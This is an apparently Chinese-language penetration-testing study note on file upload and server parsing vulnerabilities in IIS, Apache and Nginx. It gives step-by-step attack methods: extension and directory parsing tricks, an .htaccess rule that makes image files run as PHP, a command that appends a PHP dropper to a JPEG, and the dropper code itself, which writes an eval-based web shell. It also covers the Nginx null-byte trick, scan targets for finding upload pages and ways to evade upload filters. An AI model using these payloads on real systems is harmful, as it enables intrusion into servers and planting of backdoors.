文件解析漏洞当我们上传了a.asa 当成asp格式运行

渗透测试是一个挖漏洞的过程

网上主要是告诉你利用而不是怎么找

常见的容器（用来搭建网站就可能存在解析漏洞）：

a.asa asp cer cdx这些都以asp运行

Iis6: a.asp;jpg 是什么解析？分号解析然后会把整个文件认成asp格式

适用于什么情况：

只允许你上传jpg格式我们就利用分号解析漏洞

Iis6.0:目录解析:前提我们能创建目录

可以创建a.asp目录上传图片吗 a.jpg

这样会把a.asp目录当成a.asp 把目录当成文件目录里面所有东西当成内容

直接上传改成后缀也行

我们需要配合编辑器不能发生改变没有时间戳、

IIS7.0以上的解析：

2012 2018 2016

传一张图片

我们访问这个图片 1.jpg/.php

然后这个网站会帮我们用php格式访问这张图片

于是我们上php的图片马就行后缀都不用改

这是fortc++通用匹配的过程没有打开那我们就可以使用这种方法运行图片马

例子"

首先我们要知道 php我们后缀就.php asp 哦我们目录后缀就.asp

判断是否有这个漏洞

'找一张这个网站有图片的地方

右击在新标签中打开图片：

然后：在连接后面加上/.php

如果是乱码就有像这种就没有

不是乱码显示是500 也有可能这个漏洞

不从它显示的从网络 f12里面看

很多网站都有这个漏洞

倒数第3行 url才用

Fast-CGL

一旦被打开就容易被jpg./php

漏洞信息收集：

可能一个服务器四五百站都有这个漏洞可能是管理员失误都开了这个选项

我们只需要上传图片马库库提取权限

阿帕奇解析漏洞："

配合搞黑名单：

服务器始终不让我们上传php

我们上传不是php后缀的文件 x.php.zzzz.xxdf就行

然后下面的那些后缀格式都是阿帕奇会识别为php格式的后缀格式我们可以添加然后尝试绕过检测给服务器上传php脚本

HTACCES：很少能上传这种后缀所以我们一般留后门而不是直接上传

如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
<FilesMatch "*.jpg "> SetHandler application/x-httpd-php </FilesMatch>
上面这句话的意思是将这个目录里面所有的文件后缀为jpg的文件都以什么应用程序方式运行?:php
当然为了我们不被发现肯定不能选中所有图片因为如果这样的话网站所有图片都会变成乱码导致我们被发现
然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件

NGINX: 空字节代码执行漏洞

、

nginx畸形解析漏洞

默认fast-cgi开启状况下，在一个文件路径后面加上/xx.php会将原来的文件解析为php文件
将shell语句，如
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 经常用到！！一旦这代码运行就会生成一个新的一句话木马
这句话和图片混在一起然后我们访问这个图片网站位置跟./php 我们就能在这个图片存在的同一目录找到新生成的一句话木马
写在文本xx.txt中(或者shell语句直接写一句话，用菜刀、cknife等直连，只是容易被查杀），然后用命令将shell语句附加在正常图片xx.jpg后
copy xx.jpg/b + xx.txt/a test.jpg
上传test.jpg，然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php

Nginx 空字节代码执行漏洞：

影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.php%00.jpg
来执行其中的代码

上传页面查找：

扫描目录
爬行目录其实也是扫爬行菜刀 inc/ include admin/管理目录 ewebeditor editor fckeditor upload upload.asp ckfinder
up.html 我们字典一定要强大记得扫2级 3级目录 uploadfile/我们上传后的文件
upload.asp 有上传接口
有浏览没提交
有上传接口
空白需要我们本地写一个界面
前台用户可能有上传我们可以尝试注册用户例如上传身份证

Upload上传靶机演示

找到靶机上传页面后
上传正常图片然后抓包上传了其实没上传
我们需要先上传我们图片马之前的正常图片看看我们是否能正常访问或者正常上传免得被骗

图片的内容里面的中后方使我们植入木马的地方也就是找图片在哪个目录
可能是相对路径绝对路径骗人路径多多确认

可以操作的地方

这两行添加减号加号扰乱加很多加号超过拦截长度防止它阻止我们上传我们想要的格式修改成非法的包代码就不拦截了

黑色倒数第一行也能改

举例：

这样改

上传流程
通常一个文件以 HTTP 协议进行上传时，将以 POST 请求发送至 web 服务器 web 服务器接收到请求后并同意后，用户与 web 服务器将建立连接，并传输 data

文件上传特征

服务器命名规则
第一种类型：上传文件名和服务器命名一致

第二种类型：上传文件名和服务器命名不一致（随机，时间日期命名等）

常见的上传检测方式：

前端拦截
服务端在服务器脚本代码里面后端有拦截拦截我们 content-type 识别我们合法吗不看我们的后缀
目录检测更像白名单看实战就明白了不论你什么后缀 asp就会被修改为jpg
数据包里面有个filepath =""
/uploadfile/1523153.jpg
我们可以x.asp;1561561.jpg截断突破白名单

4.文件扩展名定义黑名单和白名单黑名单不如白名单安全比如我们大写说不定就过去了

5.文件内容检测很少主要是waf做
我们的任务突破代码和后缀识别
防御就是白名单+时间戳命名